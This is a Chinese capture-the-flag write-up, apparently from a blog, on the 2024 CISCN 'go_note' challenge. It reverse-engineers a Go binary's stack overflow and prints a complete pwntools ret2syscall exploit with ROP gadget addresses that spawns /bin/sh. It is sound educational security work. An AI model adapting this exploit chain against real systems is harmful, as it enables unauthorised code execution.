【PWN · ret2syscall | GoPwn】[2024CISCN · 华中赛区]go_note
一道GoPwn,此外便是ret2syscall的利用。然而过程有不小的曲折,参考 返璞归真 师傅的wp,堪堪完成了复现。复现过程中,师傅也灰常热情回答我菜菜的疑问,感谢!
2024全国大学生信息安全竞赛(ciscn)半决赛(华中赛区)Pwn题解-CSDN博客
目录
前言
一、题目逆向-edit函数栈溢出
二、利用分析
三、EXP
总结
前言
可以说是做的第一道GoPwn。。。进度确实太慢;此外,除了学习了对GoPwn的调试、逆向,也关注了Gadget利用的一些trick,ret2syscall也又一次进阶式地复习,收获良多。
一、题目逆向-edit函数栈溢出
静态分析Go语言的二进制程序,IDA7.5有插件支持反编译Go, IDA7.6已经支持。为此,我们使用IDA7.6分析,能很大程度上减少反编译出错的情况。
依据go的调用规约,参数依次通过寄存器传递:AX、BX、CX、DI、SI、R8、R9、R10、R11 。go-1.17+ 调用规约

可以很明显看到字符串复制的操作,关于v1;v3;v9;v10是什么含义,我们可以结合动调来分析。然而, 对于Go语言逆向,IDA支持不是很好,我们需要结合汇编代码和动态调试来分析。
打下断点到edit函数

目标字符串复制部分,继续下断点后continue

结合IDA,知道v9实际上获取了栈上的一块地址&v16
不妨改名v16为stack_buffer,v9为stack_index

来看看动调,了解具体是怎么个事儿

简单来说就是传入的新content,会写在栈上,而且似乎没有检查长度。直接尝试溢出



实际上,IDA也可以看出来,由rbp索引,不过还是动调精准一些,可信度更高

二、利用分析
存在栈溢出漏洞,程序是静态编译的,不可ret2libc,且gadget丰富,遂尝试ret2syscall,即构造execve('/bin/sh\x00',0,0)。ROPgadget看一下rop链好不好构造。

# 函数参数依次通过寄存器传递:AX、BX、CX、DI、SI、R8、R9、R10、R11
# 0x0000000000404408: pop rax; pop rbp; ret;
pop_rax_rbp_ret=0x0000000000404408
# 0x0000000000404541: pop rbx; ret;
pop_rbx_ret=0x0000000000404541
# 不存在pop rcx;ret的简单利用
# 不存在pop rdi;ret的简单利用
看看系统调用syscall有没有什么点
都知道x64系统调用前三个参数在rdi、rsi、rdx寄存器中,这个函数的封装,即可理解为参数传递寄存器换了一个:

rax和rbx都可以直接通过pop-ret简单修改,rcx、rdi没有直接的修改方法。
但是考虑到execve('/bin/sh\x00',0,0),rcx和rdi的寄存器值为0即可,为此可以找找看xor self, self 或者mov register, 0的gadgets。而且由于rcx和rdi的驻留值不大,gadget的寻找可以扩大到对ecx,edi范围。于是就找到了:

为此构造第二、三个寄存器的值为0就已经ok了。
# execve('/bin/sh\x00',0,0):
# -> rbx=ptr('/bin/sh\x00')
# -> rcx=0
# -> rdi=0
# 因为不存在pop rcx/rdi;ret的简单利用,可以尝试mov rcx/rdi, 0 或者xor rcx/rdi,rcx/rdi的清零手法
# 因为rax、rbx我们都可以简单利用,于是经过grep筛选,选用下面的gadget
# 0x000000000040318e: mov rcx, 0; ret;
# 0x000000000047ccd9 : xor ecx, ecx ; ret
zero_rcx=0x000000000040318e
# 0x0000000000411aee: xor edi, edi; add rsp, 0x10; pop rbp; ret;
zero_rdi=0x0000000000411aee
但是我们还要往bss段上写'/bin/sh\x00',这个如何组织gadget,利用系统调用着实不方便,因为无法控制全部三个寄存器的值。
返璞归真师傅教了一招:mov [register1],register2
其中register1和register2的值均可控——而现在rax、rbx、rbp、rdx的值我们可以很好的控制,grep一下ROPgadget的结果

很好,这意味着'/bin/sh\x00'可以写了
# 需要将/bin/sh写到bss段上,但是write不好构造,可以用mov [register], register的方式
# 0x0000000000415312 : mov qword ptr [rax + 0x18], rbx ; ret
rbx_write2raxP0x18=0x0000000000415312bss=0x527088
# 写'/bin/sh\x00' 到bss+0x18
rop=b''
rop+=p64(pop_rax_rbp_ret)+p64(bss)+p64(0)
rop+=p64(pop_rbx_ret)+b'/bin/sh\x00'
rop+=p64(rbx_write2raxP0x18)
然后构造execve('/bin/sh\x00',0,0)即可
# execve('/bin/sh\x00',0,0)
rop+=p64(zero_rcx)
rop+=p64(zero_rdi)+p64(0)*3
rop+=p64(pop_rbx_ret)+p64(bss+0x18)
rop+=p64(pop_rax_rbp_ret)+p64(59)+p64(0)
rop+=p64(syscall)
三、EXP
from pwn import *
context(arch='amd64',log_level='debug')io=process('./note')gdb.attach(io);input()
# 函数参数依次通过寄存器传递:AX、BX、CX、DI、SI、R8、R9、R10、R11
# 0x0000000000404408: pop rax; pop rbp; ret;
pop_rax_rbp_ret=0x0000000000404408
# 0x0000000000404541: pop rbx; ret;
pop_rbx_ret=0x0000000000404541
# 不存在pop rcx;ret的简单利用
# 不存在pop rdi;ret的简单利用# 封装好的syscall调用——runtime_internal_syscall_Syscall6()
# .text:0000000000403160 mov r10, rsi
# .text:0000000000403163 mov rdx, rdi
# .text:0000000000403166 mov rsi, rcx
# .text:0000000000403169 mov rdi, rbx
# .text:000000000040316C syscall
# 所以通过该函数的实现系统调用,前三个寄存器值为rbx,rcx,rdi,系统调用号rax
syscall = 0x403160# execve('/bin/sh\x00',0,0):
# -> rbx=ptr('/bin/sh\x00')
# -> rcx=0
# -> rdi=0
# 因为不存在pop rcx/rdi;ret的简单利用,可以尝试mov rcx/rdi, 0 或者xor rcx/rdi,rcx/rdi的清零手法
# 因为rax、rbx我们都可以简单利用,于是经过grep筛选,选用下面的gadget
# 0x000000000040318e: mov rcx, 0; ret;
# 0x000000000047ccd9 : xor ecx, ecx ; ret
zero_rcx=0x000000000040318e
# 0x0000000000411aee: xor edi, edi; add rsp, 0x10; pop rbp; ret;
zero_rdi=0x0000000000411aee# 需要将/bin/sh写到bss段上,但是write不好构造,可以用mov [register], register的方式
# 0x0000000000415312 : mov qword ptr [rax + 0x18], rbx ; ret
rbx_write2raxP0x18=0x0000000000415312bss=0x527088
# 写'/bin/sh\x00' 到bss+0x18
rop=b''
rop+=p64(pop_rax_rbp_ret)+p64(bss)+p64(0)
rop+=p64(pop_rbx_ret)+b'/bin/sh\x00'
rop+=p64(rbx_write2raxP0x18)
# execve('/bin/sh\x00',0,0)
rop+=p64(zero_rcx)
rop+=p64(zero_rdi)+p64(0)*3
rop+=p64(pop_rbx_ret)+p64(bss+0x18)
rop+=p64(pop_rax_rbp_ret)+p64(59)+p64(0)
rop+=p64(syscall)payload=b'a'*(0x40)+ropio.sendlineafter(b'Your choice > ',b'1')
io.sendlineafter(b'Please input note content: ',b'1')
io.sendlineafter(b'Your choice > ',b'3')
io.sendlineafter(b'Please input note id: ',b'1')
io.sendlineafter(b'Please input new content: ',payload)
io.interactive()

总结
在此再次感谢返璞归真师傅!本题受益良多,开心。
相关文章:
【PWN · ret2syscall | GoPwn】[2024CISCN · 华中赛区]go_note
一道GoPwn,此外便是ret2syscall的利用。然而过程有不小的曲折,参考 返璞归真 师傅的wp,堪堪完成了复现。复现过程中,师傅也灰常热情回答我菜菜的疑问,感谢!2024全国大学生信息安全竞赛(ciscn&am…...
关于学习方法的优化
这是一种新的学习方法,一种新的学习形式,可以通过歌唱的方式,运用,把自己每天要进行的内容进行一个复习,进行一个重复,这样可以实现随时随地进行一个学习,这样可以帮助快速走出来! 您…...
万界星空科技MES系统中的排版排产功能
在当今高度竞争的市场环境中,企业对于生产管理的效率和质量要求日益提高。作为智能制造的重要组成部分,制造执行系统(MES)以其强大的功能,在提升企业生产能力方面发挥着不可替代的作用。万界星空科技作为行业领先的智能…...
kubeadm离线部署kubernetesv1.30.0
背景:最近由于docker image获取镜像受限的问题,以及公司内部部署kubernetes受限于内部网络无法访问公网的问题,对于离线部署kubernetes成为不是十分方便。谨以此文仅供参考。 kubernetes部署节点信息 kubernetes版本 1.30.0 操作系统版本&a…...
【PYG】dataloader和densedataloader
DenseDataLoader 是专门用于处理稠密图数据的,而 DataLoader 通常用于处理稀疏图数据。两者的主要区别在于它们的输入数据格式和处理方式。DenseDataLoader 适合处理固定大小的邻接矩阵和节点特征矩阵的数据,而 DataLoader 更加灵活,可以处理…...
完美解决ERROR 1045 (28000): Access denied for user ‘root‘@‘localhost‘ (using password: NO)
已解决ERROR 1045 (28000): Access denied for user ‘root‘‘localhost‘ (using password: NO) 下滑查看解决方法 文章目录 报错问题解决思路解决方法交流 报错问题 ERROR 1045 (28000): Access denied for user ‘root‘‘localhost‘ (using password: NO) 解决思路 对…...
ForkJoinPool 简介
引言 在现代并行编程中,处理大规模任务时将任务分割成更小的子任务并行执行是一种常见的策略。Java 提供了 Fork/Join 框架来支持这一模式,其中 ForkJoinPool 是其核心组件。本文将详细介绍 ForkJoinPool 的概念、使用方法和实际应用。 1. ForkJoinPoo…...
复现YOLO_ORB_SLAM3_with_pointcloud_map项目记录
文章目录 1.环境问题2.遇到的问题2.1编译问题1 monotonic_clock2.2 associate.py2.3 associate.py问题 3.运行问题 1.环境问题 首先环境大家就按照github上的指定环境安装即可 环境怎么安装网上大把的资源,自己去找。 2.遇到的问题 2.1编译问题1 monotonic_cloc…...
Docker:Docker网络
Docker Network 是 Docker 平台中的一项功能,允许容器相互通信以及与外界通信。它提供了一种在 Docker 环境中创建和管理虚拟网络的方法。Docker 网络使容器能够连接到一个或多个网络,从而使它们能够安全地共享信息和资源。 预备知识 推荐先看视频先有…...
Ubuntu 24.04-自动安装-Nvidia驱动
教程 但在安全启动模式下可能会报错。 先在Nvidia官网找到GPU对应的驱动版, 1. 在软件与更新中选择合适的驱动 2. ubuntu自动安装驱动 sudo ubuntu-drivers autoinstall显示驱动 ubuntu-drivers devices3. 安装你想要的驱动 sudo apt install nvidia-driver-ve…...
【CSAPP】-attacklab实验
目录 实验目的与要求 实验原理与内容 实验设备与软件环境 实验过程与结果(可贴图) 实验总结 实验目的与要求 1. 强化机器级表示、汇编语言、调试器和逆向工程等方面基础知识,并结合栈帧工作原理实现简单的栈溢出攻击,掌握其基…...
docker部署onlyoffice,开启JWT权限校验Token
原来的部署方式 之前的方式是禁用了JWT: docker run -itd -p 8080:80 --name docserver --network host -e JWT_ENABLEDfalse --restartalways onlyoffice/documentserver:8 新的部署方式 参考文档:https://helpcenter.onlyoffice.com/installation/…...
Hive排序字段解析
Hive排序字段解析 在Hive中,CLUSTER BY、DISTRIBUTE BY、SORT BY和ORDER BY是用于数据分发和排序的关键子句,它们各自有不同的用途和性能特点。让我们逐一解析这些子句: 1. DISTRIBUTE BY 用途: 主要用于控制如何将数据分发到Reducer。它可…...
3101.力扣每日一题7/6 Java(接近100%解法)
博客主页:音符犹如代码系列专栏:算法练习关注博主,后期持续更新系列文章如果有错误感谢请大家批评指出,及时修改感谢大家点赞👍收藏⭐评论✍ 目录 思路 解题方法 时间复杂度 空间复杂度 Code 思路 主要是基于对…...
virtualbox窗口和win10窗口的切换
1、问题: 从windows切换到虚拟机可以用快捷键 ALTTAB,但是从虚拟机到windows使用 ALTTAB 无法成功切换 2、解决方法: 按下图操作 按上面步骤设置之后,每次要从虚拟机窗口切换到windows窗口 只需要先按 CtrlAlt 跳出虚拟机窗口&…...
卫星轨道平面简单认识
目录 一、轨道平面 1.1 轨道根数 1.2 应用考虑 二、分类 2.1 根据运行高度 2.2 根据运行轨迹偏心率 2.3 根据倾角大小 三、卫星星座中的轨道平面 四、设计轨道平面的考虑因素 一、轨道平面 1.1 轨道根数 轨道平面是定义卫星或其他天体绕行另一天体运动的平面。这个平…...
IP-Guard定制函数配置说明
设置客户端配置屏蔽: 关键字:disfunc_austascrtrd 内容:1 策略效果:屏幕整个屏幕监控模块。会导致屏幕历史查询这个功能也不能使用。 security_proxy1 安全代理参数 safe_enforce_authproc进程 强制软件上 安全代理网关…...
C++常用类
C常用类 1. std::string类2. std::vector 类2.1 特性2.2 用法 1. std::string类 std::string 是 C 标准库中的一个类,用于处理字符串。它提供了许多方法来创建、操作和管理字符串,如连接、查找、比较、替换和分割等操作。std::string 类定义在 头文件中…...
React Hooks --- 分享自己开发中常用的自定义的Hooks (1)
为什么要使用自定义 Hooks 自定义 Hooks 是 React 中一种复用逻辑的机制,通过它们可以抽离组件中的逻辑,使代码更加简洁、易读、易维护。它们可以在多个组件中复用相同的逻辑,减少重复代码。 1、useThrottle 代码 import React,{ useRef,…...
uniapp H5页面设置跨域请求
记录一下本地服务在uniapp H5页面访问请求报跨域的错误 这是我在本地起的服务端口号为8088 ip大家可打开cmd 输入ipconfig 查看 第一种方法 在源码视图中配置 "devServer": {"https": false, // 是否启用 https 协议,默认false"port&q…...
为什么很多人学 Django 会懵?因为没搞懂 MVC 和 MTV 的真正区别
很多刚接触 Django 的开发者,甚至包括不少测试工程师,在学习 Django 时都会遇到一个困惑:为什么 Django 不叫 MVC,而是 MTV?更奇怪的是:很多教程还会说:“Django 的 MTV 其实就是 MVC。”这句话…...
Windows下BERTopic安装避坑指南:解决hdbscan报错(附Python 3.8环境配置)
Windows下BERTopic安装避坑指南:解决hdbscan报错(附Python 3.8环境配置) 第一次在Windows上安装BERTopic时,那个红色的hdbscan报错信息让我盯着屏幕发了十分钟呆。作为一款强大的主题建模工具,BERTopic的安装本不该如此…...
收藏!非计算机专业也能转AI大模型?小白/程序员必看,打消转行所有顾虑
当下人工智能(大模型)领域发展势头迅猛,成为职场人眼中的“新风口”,不少就业者都想抓住这波新兴行业的红利,跻身AI赛道。但很多人卡在了起点——担心自己的专业不对口、过往经历不相关,纠结犹豫迟迟不敢迈…...
Win32下用libigl+GLFW3渲染3D模型的完整配置指南(附常见错误排查)
Win32下用libiglGLFW3渲染3D模型的完整配置指南(附常见错误排查) 在Windows平台进行3D图形开发时,libigl与GLFW3的组合为开发者提供了强大的工具集。libigl作为一个轻量级的C几何处理库,与GLFW3这一跨平台的OpenGL窗口管理库结合…...
深入解析卷积层参数量与FLOPs的计算原理及优化策略
1. 卷积层参数量计算原理 要理解卷积层的参数量计算,我们先从一个实际例子入手。假设有个输入特征图尺寸是64643(HWC),卷积核大小33,输出通道数64,带偏置项。这时候参数量是多少呢? 参数量的构…...
Avalonia跨平台开发踩坑记:我的第一个带最小化/关闭按钮的MVVM应用
Avalonia跨平台开发实战:从零构建MVVM窗口控制应用 第一次接触Avalonia时,我被它"一次编写,多平台运行"的承诺所吸引。作为一个长期使用WPF的开发者,跨平台桌面应用开发一直是个痛点。但当我真正开始用Avalonia实现一个…...
零基础入门esp32开发:用快马平台生成第一个led控制程序详解
最近在学ESP32开发,发现对于新手来说,从零开始写代码还是挺有挑战的。不过我发现了一个超好用的工具——InsCode(快马)平台,它可以根据你的需求直接生成可运行的代码,特别适合像我这样的初学者。 项目需求分析 我想实现一个简单的…...
用Python的powerlaw库分析游戏付费数据:从‘鲸鱼玩家’到长尾分布,手把手教你做实战分析
用Python的powerlaw库解析游戏付费行为:从数据清洗到商业决策全流程 游戏行业的数据分析师们常常面临一个经典问题:如何理解玩家付费行为背后的数学规律?当我们打开一份付费数据报表,往往会发现少数"鲸鱼玩家"贡献了绝…...
Qt实战:用QCustomPlot的QCPColorMap绘制声呐/热力图,附完整代码与色条(QCPColorScale)美化技巧
Qt实战:用QCustomPlot实现专业级声呐热力图可视化 第一次在项目中尝试用QCustomPlot绘制声呐数据时,我被它强大的性能震撼了——5000100的数据矩阵渲染仅需200毫秒,而Matplotlib处理同样规模的数据需要近3秒。这个发现让我彻底放弃了Python方…...
开发提效新组合:用Cursor生成代码片段,在快马一键集成与部署
最近在做一个数据整理的小工具时,发现了一个特别高效的工作流组合:先用Cursor快速生成核心代码片段,再用InsCode(快马)平台一键整合部署。整个过程就像搭积木一样顺畅,特别适合需要快速实现功能模块的场景。 需求分析 我们经常要处…...
